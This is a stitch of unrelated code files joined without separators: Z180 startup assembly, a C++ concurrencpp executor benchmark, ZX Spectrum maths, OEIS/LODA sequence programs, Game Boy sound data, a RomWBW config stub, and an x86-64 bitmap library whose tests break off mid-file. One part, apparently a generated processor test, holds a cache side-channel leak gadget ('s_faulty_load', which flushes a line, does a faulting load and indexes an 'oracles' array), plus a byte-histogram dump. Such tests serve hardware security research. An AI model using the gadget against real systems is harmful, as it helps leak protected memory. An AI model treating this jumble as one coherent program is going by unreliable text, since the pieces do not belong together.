IF !(__page_zero_present) SECTION code_crt_init XOR A ; Zero Accumulator ; Clear Refresh Control Reg (RCR) OUT0 (RCR),A ; DRAM Refresh Enable (0 Disabled) ; Clear INT/TRAP Control Register (ITC) OUT0 (ITC),A ; Disable all external interrupts. ; Set Operation Mode Control Reg (OMCR) LD A,OMCR_M1E ; Enable M1 for single step, disable 64180 I/O _RD Mode OUT0 (OMCR),A ; X80 Mode (M1 Disabled, IOC Disabled) ; Set internal clock = crystal x 2 = 36.864MHz ; if using ZS8180 or Z80182 at High-Speed LD A,CMR_X2 ; Set Hi-Speed flag OUT0 (CMR),A ; CPU Clock Multiplier Reg (CMR) ; DMA/Wait Control Reg Set I/O Wait States LD A,DCNTL_IWI0 OUT0 (DCNTL),A ; 0 Memory Wait & 2 I/O Wait ; Set Logical RAM Addresses ; $F000-$FFFF RAM CA1 -> $F. ; $C000-$EFFF RAM BANK ; $0000-$BFFF Flash BANK -> $.0 LD A,$F0 ; Set New Common 1 / Bank Areas for RAM OUT0 (CBAR),A LD A,$00 ; Set Common 1 Base Physical $0F000 -> $00 OUT0 (CBR),A LD A,$00 ; Set Bank Base Physical $00000 -> $00 OUT0 (BBR),A ; we do 256 ticks per second ld hl, __CPU_CLOCK/__CPU_TIMER_SCALE/256-1 out0 (RLDR0L), l out0 (RLDR0H), h ; enable down counting and interrupts for PRT0 ld a, TCR_TIE0|TCR_TDE0 out0 (TCR), a ; using the driver/z180/system_tick.asm EXTERN _asci0_init call _asci0_init ; initialise the asci0 EXTERN _asci1_init call _asci1_init ; and the asci1 interfaces ENDIF
#include "concurrencpp/concurrencpp.h" #include <iostream> void test_worker_thread_executor(); void test_thread_pool_executor(); void test_thread_executor(); void test_manual_executor(); int main() { std::cout << "concurrencpp::worker_thread_executor" << std::endl; test_worker_thread_executor(); std::cout << "====================================" << std::endl; std::cout << "concurrencpp::thread_pool_executor" << std::endl; test_thread_pool_executor(); std::cout << "====================================" << std::endl; std::cout << "concurrencpp::thread_executor" << std::endl; test_thread_executor(); std::cout << "====================================" << std::endl; std::cout << "concurrencpp::manual_executor" << std::endl; test_manual_executor(); std::cout << "====================================" << std::endl; } using namespace concurrencpp; void worker_thread_task(std::shared_ptr<worker_thread_executor> (&executors)[16], std::atomic_size_t& counter, std::shared_ptr<concurrencpp::details::wait_context> wc) { const auto c = counter.fetch_add(1, std::memory_order_relaxed); if (c >= 10'000'000) { if (c == 10'000'000) { wc->notify(); } return; } const auto worker_pos = ::rand() % std::size(executors); auto& executor = executors[worker_pos]; try { executor->post(worker_thread_task, std::ref(executors), std::ref(counter), wc); } catch (const concurrencpp::errors::executor_shutdown&) { return; } } void test_worker_thread_executor() { concurrencpp::runtime runtime; std::srand(::time(nullptr)); std::shared_ptr<worker_thread_executor> executors[16]; std::atomic_size_t counter = 0; auto wc = std::make_shared<concurrencpp::details::wait_context>(); for (auto& executor : executors) { executor = runtime.make_worker_thread_executor(); } for (size_t i = 0; i < 16; i++) { executors[i]->post(worker_thread_task, std::ref(executors), std::ref(counter), wc); } wc->wait(); } void thread_pool_task(std::shared_ptr<thread_pool_executor> tpe, std::atomic_size_t& counter, std::shared_ptr<concurrencpp::details::wait_context> wc) { const auto c = counter.fetch_add(1, std::memory_order_relaxed); if (c >= 10'000'000) { if (c == 10'000'000) { wc->notify(); } return; } try { tpe->post(thread_pool_task, tpe, std::ref(counter), wc); } catch (const concurrencpp::errors::executor_shutdown&) { return; } } void test_thread_pool_executor() { concurrencpp::runtime runtime; auto tpe = runtime.thread_pool_executor(); std::atomic_size_t counter = 0; auto wc = std::make_shared<concurrencpp::details::wait_context>(); const auto max_concurrency_level = tpe->max_concurrency_level(); for (size_t i = 0; i < max_concurrency_level; i++) { tpe->post(thread_pool_task, tpe, std::ref(counter), wc); } wc->wait(); } void thread_task(std::shared_ptr<thread_executor> tp, std::atomic_size_t& counter, std::shared_ptr<concurrencpp::details::wait_context> wc) { const auto c = counter.fetch_add(1, std::memory_order_relaxed); if (c >= 1'024 * 4) { if (c == 1'024 * 4) { wc->notify(); } return; } try { tp->post(thread_task, tp, std::ref(counter), wc); } catch (const concurrencpp::errors::executor_shutdown&) { return; } } void test_thread_executor() { concurrencpp::runtime runtime; auto tp = runtime.thread_executor(); std::atomic_size_t counter = 0; auto wc = std::make_shared<concurrencpp::details::wait_context>(); for (size_t i = 0; i < 4; i++) { tp->post(thread_task, tp, std::ref(counter), wc); } wc->wait(); } void manual_executor_work_loop(std::shared_ptr<manual_executor> (&executors)[16], std::atomic_size_t& counter, const size_t worker_index) { try { while (true) { const auto c = counter.fetch_add(1, std::memory_order_relaxed); if (c >= 10'000'000) { return; } const auto worker_pos = ::rand() % std::size(executors); auto& executor = executors[worker_pos]; executor->post([] { }); executors[worker_index]->loop(16); } } catch (const concurrencpp::errors::executor_shutdown&) { return; } } void test_manual_executor() { concurrencpp::runtime runtime; std::atomic_size_t counter = 0; std::shared_ptr<manual_executor> executors[16]; std::thread threads[16]; for (auto& executor : executors) { executor = runtime.make_manual_executor(); } for (size_t i = 0; i < std::size(executors); i++) { threads[i] = std::thread([&, i] { manual_executor_work_loop(executors, std::ref(counter), i); }); } for (auto& thread : threads) { thread.join(); } }
; ; ; ZX Maths Routines ; ; 21/03/03 - Stefano Bodrato ; ; ; $Id: tanh.asm,v 1.2 2009/06/22 21:44:17 dom Exp $ ; ;double tanh(double) ; e = exp(x) ; ; return (e-1.0/e)/(e+1.0/e) ; IF FORzx INCLUDE "zxfp.def" ELSE INCLUDE "81fp.def" ENDIF XLIB tanh LIB fsetup1 LIB stkequ .tanh call fsetup1 defb ZXFP_EXP ; and at the beginning exp (x) defb ZXFP_ST_MEM_0 defb ZXFP_STK_ONE defb ZXFP_EXCHANGE defb ZXFP_DIVISION ; 1/e defb ZXFP_DUPLICATE defb ZXFP_GET_MEM_0 defb ZXFP_ADDITION defb ZXFP_EXCHANGE defb ZXFP_GET_MEM_0 defb ZXFP_EXCHANGE defb ZXFP_SUBTRACT defb ZXFP_EXCHANGE ; This might be slightly optimized, maybe, but watch out.. ; test it deeply with positive and negative values ! defb ZXFP_DIVISION defb ZXFP_END_CALC jp stkequ
; A179278: Largest nonprime integer not less than n. ; Submitted by Christian Krause ; 1,1,1,4,4,6,6,8,9,10,10,12,12,14,15,16,16,18,18,20,21,22,22,24,25,26,27,28,28,30,30,32,33,34,35,36,36,38,39,40,40,42,42,44,45,46,46,48,49,50,51,52,52,54,55,56,57,58,58,60,60,62,63,64,65,66,66,68,69,70,70,72 lpb $0 add $1,2 mov $3,$0 mov $0,$1 lpe add $2,$3 seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0. sub $2,$3 mov $0,$2 add $0,1
SFX_Ball_Toss_Ch5: duty_cycle 2 pitch_sweep 2, -7 square_note 15, 15, 2, 1920 sound_ret SFX_Ball_Toss_Ch6: duty_cycle 2 square_note 15, 12, 2, 1922 sound_ret
; A314671: Coordination sequence Gal.5.95.5 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings. ; Submitted by Jon Maiga ; 1,5,9,13,17,21,25,29,33,38,43,47,51,55,59,63,67,71,76,81,85,89,93,97,101,105,109,114,119,123,127,131,135,139,143,147,152,157,161,165,169,173,177,181,185,190,195,199,203,207 mov $2,$0 add $0,2 mov $3,4 lpb $0 sub $0,6 trn $0,$3 add $1,$0 trn $0,1 add $1,1 sub $1,$0 mov $3,2 lpe lpb $2 add $1,4 sub $2,1 lpe mov $0,$1
; A266377: Triangle read by rows giving successive states of cellular automaton generated by "Rule 21" initiated with a single ON (black) cell. ; 1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 lpb $0 seq $0,196 ; Integer part of square root of n. Or, number of positive squares <= n. Or, n appears 2n+1 times. mod $0,2 add $0,1 lpe add $0,1 mod $0,2
; A140205: Partial sums of A140085. ; 0,1,2,4,5,7,9,12,12,13,14,16,17,19,21,24,24,25,26,28,29,31,33,36,36,37,38,40,41,43,45,48,48,49,50,52,53,55,57,60,60,61,62,64,65,67,69,72,72,73,74,76,77,79,81,84,84,85,86,88,89,91,93,96,96,97,98,100,101,103,105,108 mov $10,$0 mov $12,$0 lpb $12 clr $0,10 mov $0,$10 sub $12,1 sub $0,$12 lpb $0 mod $0,8 lpe add $0,2 pow $0,2 add $0,2 mov $9,$0 lpb $0 add $0,$9 div $0,3 add $5,7 lpe mov $1,$5 sub $1,14 div $1,7 add $11,$1 lpe mov $1,$11
; A061349: Sum of antidiagonals of A060736. ; 0,1,6,17,40,75,130,203,304,429,590,781,1016,1287,1610,1975,2400,2873,3414,4009,4680,5411,6226,7107,8080,9125,10270,11493,12824,14239,15770,17391,19136,20977,22950,25025,27240,29563,32034,34619,37360,40221 mov $2,$0 mov $4,$0 lpb $2 mov $0,$4 sub $2,1 sub $0,$2 mov $7,$0 mov $8,0 mov $9,$0 lpb $9 mov $0,$7 sub $9,1 sub $0,$9 mov $3,$0 mov $5,2 mov $6,2 lpb $0 sub $0,1 gcd $3,$5 add $3,$6 mul $3,$0 trn $0,$3 add $0,1 lpe add $8,$3 lpe add $1,$8 lpe mov $0,$1
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r13 push %r8 push %rbp push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_normal_ht+0x14da1, %rsi nop nop nop nop nop xor $17989, %rdx movw $0x6162, (%rsi) nop nop nop nop cmp %rsi, %rsi lea addresses_D_ht+0x7da1, %r10 nop nop sub %rbx, %rbx vmovups (%r10), %ymm1 vextracti128 $1, %ymm1, %xmm1 vpextrq $0, %xmm1, %r8 nop nop sub $48504, %r8 lea addresses_normal_ht+0x93dd, %r13 nop nop nop cmp $19299, %rbp mov (%r13), %r10w nop nop nop nop and %r8, %r8 lea addresses_normal_ht+0x1b7a1, %rsi nop nop nop nop add $28531, %r8 mov $0x6162636465666768, %r13 movq %r13, %xmm1 movups %xmm1, (%rsi) nop nop nop nop nop add $8554, %r13 lea addresses_WC_ht+0x3ab9, %r13 nop nop nop nop dec %rdx mov $0x6162636465666768, %rbx movq %rbx, (%r13) nop nop nop xor $32149, %rdx lea addresses_WC_ht+0x39a1, %rsi lea addresses_UC_ht+0x3245, %rdi nop nop xor %r10, %r10 mov $63, %rcx rep movsl nop nop nop nop nop and %rcx, %rcx lea addresses_normal_ht+0x1da1, %rsi lea addresses_WT_ht+0x1a371, %rdi nop nop nop nop sub %r8, %r8 mov $125, %rcx rep movsl nop nop nop add $23768, %r10 pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %rbp pop %r8 pop %r13 pop %r10 ret .global s_faulty_load s_faulty_load: push %r14 push %r8 push %r9 push %rbx push %rdi push %rdx push %rsi // Store mov $0x5a1, %r14 nop and %rbx, %rbx mov $0x5152535455565758, %r9 movq %r9, %xmm5 movups %xmm5, (%r14) nop dec %rdx // Faulty Load mov $0x5a1, %rdi clflush (%rdi) nop nop nop nop nop dec %r8 vmovaps (%rdi), %ymm6 vextracti128 $0, %ymm6, %xmm6 vpextrq $0, %xmm6, %r14 lea oracles, %rdx and $0xff, %r14 shlq $12, %r14 mov (%rdx,%r14,1), %r14 pop %rsi pop %rdx pop %rdi pop %rbx pop %r9 pop %r8 pop %r14 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_P', 'AVXalign': False, 'size': 2, 'NT': True, 'same': False, 'congruent': 0}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_P', 'AVXalign': False, 'size': 16, 'NT': False, 'same': True, 'congruent': 0}} [Faulty Load] {'src': {'type': 'addresses_P', 'AVXalign': True, 'size': 32, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 8}} {'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 9}, 'OP': 'LOAD'} {'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 2}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 8}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 8, 'NT': True, 'same': False, 'congruent': 3}} {'src': {'type': 'addresses_WC_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 1, 'same': False}} {'src': {'type': 'addresses_normal_ht', 'congruent': 11, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 2, 'same': False}} {'e2': 156, '1c': 148, '96': 168, 'cc': 184, '68': 156, 'a2': 177, '80': 69, 'a6': 163, 'f6': 148, 'c4': 146, 'c2': 147, '36': 163, '6a': 150, '64': 151, '3c': 169, '4e': 165, '62': 152, 'b6': 152, '50': 146, '1e': 141, '04': 158, 'a8': 171, 'f8': 143, '08': 146, 'f4': 175, '58': 1960, 'c6': 160, '82': 162, '6e': 148, 'c0': 118, '22': 134, '94': 164, 'ca': 175, '0e': 144, 'b0': 71, '0a': 148, 'd4': 141, '18': 170, 'd0': 123, 'ae': 142, '38': 182, 'ee': 176, '66': 164, 'fc': 150, 'da': 144, '34': 155, 'ac': 174, 'e0': 166, '40': 182, '90': 174, '72': 167, '02': 159, 'a4': 151, '00': 368, 'ec': 180, '8e': 161, '98': 132, '10': 117, '42': 161, '9c': 179, 'b2': 142, '20': 86, '12': 150, 'be': 157, '74': 161, '7c': 168, '5e': 159, 'f2': 164, 'c8': 148, '8c': 164, 'd8': 166, 'a0': 157, 'ea': 166, '52': 159, '48': 149, '2c': 167, '16': 163, 'bc': 158, '7e': 169, '92': 175, '32': 157, 'e8': 153, '88': 149, '8a': 155, '7a': 156, '3e': 155, 'd6': 169, 'ba': 145, '76': 158, '54': 150, '56': 156, '3a': 147, '4c': 161, '28': 173, '60': 162, 'dc': 176, 'b8': 160, '4a': 158, 'de': 174, 'aa': 151, 'fe': 163, 'fa': 139, '2e': 159, '6c': 138, '14': 161, '84': 170, '78': 168, 'd2': 155, 'e6': 146, 'e4': 144, 'ce': 128, '70': 74, '26': 169, '44': 158, '24': 140, '5a': 171, '2a': 153, '5c': 169, '46': 149, '06': 156, '1a': 160, '0c': 165, '9a': 145, '30': 168, '86': 157, 'f0': 152, 'b4': 155, '9e': 178} 58 d8 f2 58 42 e2 d4 58 ea 0c c6 44 8e 00 52 54 44 5c 7a 9e ca ba 72 e2 5e a8 b4 e8 dc 58 5e 7a f8 24 86 ae d0 64 b8 40 1a 8e 74 8c 5a 6a c2 c6 3e 12 a4 1a 00 02 be da 58 00 dc b6 88 32 a6 16 4e 80 04 ea 58 70 da 4c d8 7c 28 4a 4a 0c 42 00 e0 58 f2 8e 64 40 58 7a 18 4c 46 92 3c be 9a b6 f6 58 72 d0 7c 5e 30 5e ca 82 ce 2c f2 58 3e 0c bc 76 58 ee 58 60 02 82 16 64 74 90 bc 72 cc 86 26 58 2a b0 00 8a ae a6 ca e4 32 04 c2 44 54 38 62 b2 f8 10 16 5c 6e d6 d2 0a 34 58 c0 08 e8 58 58 78 58 04 de 58 06 f0 58 9e 76 58 fa 58 58 58 14 fc 82 f0 58 58 6c 0c f4 ec 32 6a f2 00 58 58 58 40 0c 1e b8 88 f4 10 48 56 86 d2 32 58 58 58 58 a0 d4 00 2c 92 8e 58 58 78 d8 bc 7e d6 a8 56 94 5c 4a 74 f0 30 9e 4c 48 ea 9a e0 c8 58 cc 58 f0 f4 96 94 84 d6 58 2a 84 06 68 de c8 9a 06 aa d2 58 be ae ce 22 2c 58 6a 18 e2 66 00 0a bc 9e bc 14 c6 64 58 8a 9c 60 60 6e 2c 24 58 22 94 96 b2 4a 34 58 fe 58 58 e2 58 c8 5c 7c b2 08 9a c6 54 1a 08 ae 44 aa 58 b4 9c 64 26 2c 18 16 3c 5e 0a a0 e8 26 0c e4 cc 28 0e 5a c0 38 58 ae ca 82 82 ac fa 84 14 46 f0 58 de fe 90 cc a0 5c 5e 9c 86 90 fc ae 2c 54 48 44 5a 86 32 9c d2 58 6c 14 12 da 58 8a a0 da 50 78 6e 12 58 60 4a 52 e2 ac a8 9c ca be 3c 90 e0 58 7c f4 a4 28 30 00 d2 fc ba ac a6 10 aa ce 3c 28 5c a8 80 ec 9e ba 96 7a 6c 82 ec 2a 86 52 5e 4e 94 da ac 20 a8 08 c2 c8 38 34 5c 5e 3c d4 4e a6 98 12 58 74 60 38 60 58 0e 4e 56 ce 06 76 26 00 64 d2 c0 9c 36 3a d8 b6 92 48 70 28 b2 ea e2 58 22 2e e8 00 20 60 36 12 3c 54 02 38 3c 58 c0 18 8c fc 32 e2 28 f6 8a b4 d8 58 48 36 42 ae 9e 30 80 6a b8 c0 7c fa 3c 48 62 c2 26 c6 74 52 ea 7c fe 34 62 b2 48 be 7a a2 b6 86 0e 7a 1c 36 40 04 36 a2 8e 7c aa ae 50 e6 74 a8 6e 58 2a 0c 6c 00 b6 0a 7e f8 86 2a 5a 58 d8 e8 00 30 d2 7e 94 ee 3c f6 c6 34 32 6a ee 58 b4 c2 66 50 98 86 fe dc b4 32 68 4c 88 be 58 2c 1a 26 8a 54 16 72 6a f8 2c 1a a2 7e 9c f6 58 8e e8 72 48 ca 4a 6a dc b2 58 e6 12 30 46 46 a4 82 4c f4 b4 cc 30 06 92 ac 00 84 a0 68 7e de a4 28 4a b4 ce be e2 58 64 58 f2 30 52 58 b4 62 00 0c 64 ae d8 ba a8 64 52 f2 0e c6 c0 a8 d2 b2 9c 60 50 2c ec 70 50 28 0a 74 7e fc 58 2a 7a 5c ee f4 26 14 20 36 74 74 48 7c 7e 3c 46 9a 5a 06 26 ea 8e 2a 06 64 a2 7a 18 5c 06 bc c6 58 04 1a 4c ce 5c 88 96 48 2e de 3c f4 82 6e fa c2 ce 52 6c 7e 8a fc 9c 7c 9c 0a 10 32 8c ac 28 d2 f2 5e 04 08 f0 f0 46 e2 58 fc da 5a da 58 44 52 56 16 86 84 3e a4 d8 a2 44 60 98 92 b0 0a 5e 02 1e 9a 6c 3e 08 16 ac f2 60 c4 ca 00 4a 4c 58 ea 58 52 9c fc 24 1a c6 46 bc b4 58 dc 00 40 82 d2 92 2e 50 8a bc dc 6c 12 50 58 96 88 bc ea 7a 36 36 6a ca 58 f4 58 e4 2a 94 7e 04 dc 58 8e dc 7a 4c c8 02 44 40 78 96 58 30 60 26 dc 58 aa 3e a0 5c f2 88 40 16 fe 4e ea 58 b8 12 d2 ca 36 d2 c0 cc 68 00 f4 ec c8 3c d6 34 f4 6c 14 b4 a0 d4 dc 94 76 9e fc 28 2c f8 c4 ae 96 58 58 5a 46 8a 8e a8 c2 b8 dc 58 56 72 96 42 08 66 26 ba 32 dc 74 a6 7e 66 9c 38 58 c8 5c 2a a4 40 02 52 32 4c b6 66 40 e0 58 38 a2 f4 90 22 e2 58 ce 58 48 f8 e4 c4 d4 14 90 94 5e fa e4 00 e6 6e 58 ee 7a 46 1a 64 00 d6 4c 7c 8a 64 08 a8 c0 12 86 34 06 f4 52 16 5e 58 2e 7c d6 b8 80 02 34 7e 72 */
; ;================================================================================================== ; UNA STANDARD CONFIGURATION ;================================================================================================== ; ; THE COMPLETE SET OF DEFAULT CONFIGURATION SETTINGS FOR THIS PLATFORM ARE FOUND IN THE ; CFG_<PLT>.ASM INCLUDED FILE WHICH IS FOUND IN THE PARENT DIRECTORY. THIS FILE CONTAINS ; COMMON CONFIGURATION SETTINGS THAT OVERRIDE THE DEFAULTS. IT IS INTENDED THAT YOU MAKE ; YOUR CUSTOMIZATIONS IN THIS FILE AND JUST INHERIT ALL OTHER SETTINGS FROM THE DEFAULTS. ; EVEN BETTER, YOU CAN MAKE A COPY OF THIS FILE WITH A NAME LIKE <PLT>_XXX.ASM AND SPECIFY ; YOUR FILE IN THE BUILD PROCESS. ; ; THE SETTINGS BELOW ARE THE SETTINGS THAT ARE MOST COMMONLY MODIFIED FOR THIS PLATFORM. ; MANY OF THEM ARE EQUAL TO THE SETTINGS IN THE INCLUDED FILE, SO THEY DON'T REALLY DO ; ANYTHING AS IS. THEY ARE LISTED HERE TO MAKE IT EASY FOR YOU TO ADJUST THE MOST COMMON ; SETTINGS. ; ; N.B., SINCE THE SETTINGS BELOW ARE REDEFINING VALUES ALREADY SET IN THE INCLUDED FILE, ; TASM INSISTS THAT YOU USE THE .SET OPERATOR AND NOT THE .EQU OPERATOR BELOW. ATTEMPTING ; TO REDEFINE A VALUE WITH .EQU BELOW WILL CAUSE TASM ERRORS! ; ; PLEASE REFER TO THE CUSTOM BUILD INSTRUCTIONS (README.TXT) IN THE SOURCE DIRECTORY (TWO ; DIRECTORIES ABOVE THIS ONE). ; #DEFINE BOOT_DEFAULT "H" ; DEFAULT BOOT LOADER CMD ON <CR> OR AUTO BOOT ; #include "cfg_una.asm"
%define MOD_BITMAP ; module: Bitmap %include "lib/bitmap.inc" %include "defs/common.inc" %ifdef TEST_BITMAP %include "debug/debug.inc" %endif ; TEST_BITMAP [section .text] [bits 64] [global BitmapBitSet] BitmapBitSet: push rax push rcx push rdx ; TODO: pointer check ; TODO: bounds check ; Get the offset of the bit into its containing qword mov cl, al ; only take the low byte and cl, 0x3F ; only take the low 6 bits of that byte ; Get the index of the bit's containing qword shr rax, 0x06 ; Generate a mask to set the bit xor rdx, rdx ; put 0...01 into rdx (lowest bit set) inc rdx shl rdx, cl ; shift the one into position ; Set the bit ; NOTE: would byte-aligned rax be better? or [rsi + rax * 8], rdx pop rdx pop rcx pop rax ret [global BitmapBitClear] BitmapBitClear: push rax push rcx push rdx ; TODO: pointer check ; TODO: bounds check ; Get the offset of the bit into its containing qword mov cl, al ; only take the low byte and cl, 0x3F ; only take the low 6 bits of that byte ; Get the index of the bit's containing qword shr rax, 0x06 ; Generate a mask to clear the bit xor rdx, rdx ; put F...FE into rdx (lowest bit clear) dec rdx dec rdx rol rdx, cl ; shift the zero into position ; Clear the bit ; NOTE: would byte-aligned rax be better? and [rsi + rax * 8], rdx pop rdx pop rcx pop rax ret [global BitmapBitFind] BitmapBitFind: push rcx push rdi ; TODO: pointer check ; Point the bitmap pointer at the starting bit's containing qword mov rdi, rsi ; copy pointer to our scan register and al, 0xC0 ; 64-bit align the start bit index shr rax, 0x03 ; convert bit-index to byte-index add rdi, rax ; add to pointer to point to start qword ; Reduce bitmap size counter to account for skipped over qwords shr rax, 0x03 ; convert byte-index to qword index sub rcx, rax ; subtract from bitmap size ; TODO: check the first qword by hand, masking off bits earlier than ; the starting bit? ; Loop until a non-full qword is found ; NOTE: would loop be better than scasq? xor rax, rax ; put all-Fs in rax to compare against dec rax repe scasq ; scan until we point at a non-Fs qword stc ; set the carry flag in case of failure je .fail ; if we ran out of bitmap then we failed sub rdi, 0x08 ; scasq puts us a qword too far, drop back one ; Get the bit offset of the first zero bit within the qword mov rax, [rdi] ; load the qword containing our bit not rax ; invert so we can scan for the zero as a one bsf rax, rax ; find the first one bit ; Get the qword index of the containing qword sub rdi, rsi ; subtract the bitmap base from the pointer shl rdi, 0x03 ; convert byte-index to bit-index add rax, rdi ; add the qword index to the bit offset clc ; success, clear the carry flag .fail: pop rdi pop rcx ret [global BitmapRangeSet] BitmapRangeSet: push rax push rbx push rcx push rdx push r8 ; Turn length into end bit index add rbx, rax ; TODO: bounds check ; Get start and end bit offsets mov cl, al ; only take the low byte and cl, 0x3F ; only take the low 6 bits of that byte mov ch, bl ; same, but in the other 8-bit c register and ch, 0x3F ; Get start and end qword indexes shr rax, 0x06 shr rbx, 0x06 ; Create mask for the first qword xor rdx, rdx ; start with all Fs dec rdx shl rdx, cl ; put zeros up to the start bit ; Create mask for the final qword mov cl, ch ; use the end bit's offset xor r8, r8 ; start with all Fs dec r8 shl r8, cl ; put zeros up to the end bit not r8 ; invert, now has ones up to the end bit ; Check for the case where the block is contained in a single qword cmp rax, rbx jne .maskFirst and r8, rdx ; combine masks, keeping the zeros from each jmp .maskFinal ; Write the first qword of ones .maskFirst: or [rsi + rax * 8], rdx ; Loop and write the middle qwords of ones ; NOTE: find a way to use rep stosq here? xor rdx, rdx ; load all Fs to write later dec rdx .loop: inc rax ; next qword cmp rax, rbx ; break if this is the last qword je .maskFinal mov [rsi + rax * 8], rdx ; store the ones jmp .loop ; Write the last qword of ones .maskFinal: or [rsi + rbx * 8], r8 pop r8 pop rdx pop rcx pop rbx pop rax ret [global BitmapRangeClear] BitmapRangeClear: push rax push rbx push rcx push rdx push r8 ; Turn length into end bit index add rbx, rax ; TODO: bounds check ; Get start and end bit offsets mov cl, al ; only take the low byte and cl, 0x3F ; only take the low 6 bits of that byte mov ch, bl ; same, but in the other 8-bit c register and ch, 0x3F ; Get start and end qword indexes shr rax, 0x06 shr rbx, 0x06 ; Create mask for the first qword xor rdx, rdx ; start with all Fs dec rdx shl rdx, cl ; put zeros up to the start bit not rdx ; invert, now has ones up to the start bit ; Create mask for the final qword mov cl, ch ; use the end bit's offset xor r8, r8 ; start with all Fs dec r8 shl r8, cl ; put zeros up to the end bit ; Check for the case where the block is contained in a single qword cmp rax, rbx jne .maskFirst or r8, rdx ; combine masks, keeping ones from each jmp .maskFinal ; Write the first qword of zeros .maskFirst: and [rsi + rax * 8], rdx ; Loop and write the middle qwords of zeros xor rdx, rdx ; load all 0s to write later .loop: inc rax ; next qword cmp rax, rbx ; break if this is the last qword je .maskFinal mov [rsi + rax * 8], rdx ; store the zeros jmp .loop ; Write the last qword of zeros .maskFinal: and [rsi + rbx * 8], r8 pop r8 pop rdx pop rcx pop rbx pop rax ret [global BitmapRangeFind] BitmapRangeFind: push rcx push rdx push rdi push rbp ; NOTE: let rbp get clobbered? no one uses it ; Check the first qword by hand to skip over stuff before the start bit mov rdx, rcx ; we need cl, save bitmap size somewhere else ; Get the bit offset and qword index of the start bit mov cl, al ; only take the low byte and cl, 0x3F ; only take the low 6 bits of that byte shr rax, 0x06 ; convert bit-index to qword-index ; Mask off the bits before the start bit to be sure they are skipped xor rbx, rbx ; start with all Fs dec rbx shl rbx, cl ; shift zeros up to the start bit not rbx ; invert, now has ones up to the start bit mov rcx, rdx ; done with cl, can use rcx for count again mov rdx, [rsi + rax * 8] ; load the first qword to scan or rdx, rbx ; put ones before start bit so we skip them ; Scan for the first non-all-Fs qword ; We've already loaded the first one and masked bits to skip sub rcx, rax ; subtract the starting qword index from size .startLoop: not rdx ; invert qword, now we're looking for a one test rdx, rdx ; are there any ones in the qword? jnz .foundStart ; yes, we found our start qword inc rax ; no, next qword mov rdx, [rsi + rax * 8] ; load next qword loop .startLoop ; loop while we have more bitmap to scan ; If we reached here, we ran out of bitmap - failure stc ; set carry to indicate failure jmp .exit ; Get the index of the first zero found .foundStart: mov rbx, rax ; put qword index somewhere else for later shl rax, 0x06 ; convert qword-index into bit-index bsf rdi, rdx ; find the offset of the first bit add rax, rdi ; add bit offset to get full index ; Find the first one after the first zero to get the end point ; Mask off bits before the start bit, just in case xchg rcx, rdi ; bitmap size saved in rdi, bit offet in cl xor rbp, rbp ; start with all Fs dec rbp shl rbp, cl ; shift zeros up to the start bit mov rcx, rdi ; done with cl, can use rcx for count again not rdx ; invert back to look for ones instead of zeros and rdx, rbp ; put zeros before the start bit to skip them ; Scan for the first non-all-0s qword ; We've already loaded the first one and masked bits to skip ; rbx <- qword index .endLoop: test rdx, rdx ; are there any ones in the qword? jnz .foundEnd ; yes, we found the end qword inc rbx ; no, next qword mov rdx, [rsi + rbx * 8] ; load next qword loop .endLoop ; loop while we have more bitmap to scan ; If we reached here we ran out of bitmap - set first one as one-past xor cl, cl ; bit index is 64 - first bit after bitmap end jmp .haveBitOffset ; skip over the bitscan ; If we reached here we found a bitmap qword with a one in it .foundEnd: bsf rcx, rdx ; find the offset of the first bit ; Convert qword index and bit offset into range length .haveBitOffset: shl rbx, 0x06 ; convert qword-index into bit index add rbx, rcx ; add bit offset to get full index sub rbx, rax ; subtract first bit index to get length clc ; clear carry to indicate success .exit: pop rbp pop rdi pop rdx pop rcx ret %ifdef TEST_BITMAP ;------------------------------------------------------------------------------- ; function: BitmapPrint ; ; brief: Prints bitmap contents for debugging ; ; pass: ; / ; ; return: ; / ; ; sideeffects: ; / ; ; detail: ; / ;------------------------------------------------------------------------------- BitmapPrint: PRINT "Bitmap contents:" xor rax, rax .loop: mov rdx, [rsi + rax * 8] call DebugPrintHexQ call DebugNewLine inc rax loop .loop ret [global BitmapTest] BitmapTest: mov r14, preSnap mov r15, postSnap ;----------------------------------------------------------------------- ; BitmapBitSet ; ----- Set first bit of first qword PRINT "BitSet: Set first bit of first qword" mov rsi, testmap1 mov rcx, 0x00000003 xor rax, rax REGSNAP preSnap call BitmapBitSet REGSNAP postSnap call DebugRegComp jc .test1Fail mov r8, [testmap1] cmp r8, 0x00000001 jne .test1Fail PRINT "PASSED" jmp .test1Done .test1Fail: jmp .fail .test1Done: ; ----- Set last bit of last qword PRINT "BitSet: Set last bit of last qword" mov rax, 64 * 3 - 1 REGSNAP preSnap call BitmapBitSet REGSNAP postSnap call DebugRegComp jc .test2Fail mov r8, [testmap1 + 8 * 2] mov r9, 0x80000000 shl r9, 0x20 cmp r8, r9 jne .test2Fail PRINT "PASSED" jmp .test2Done 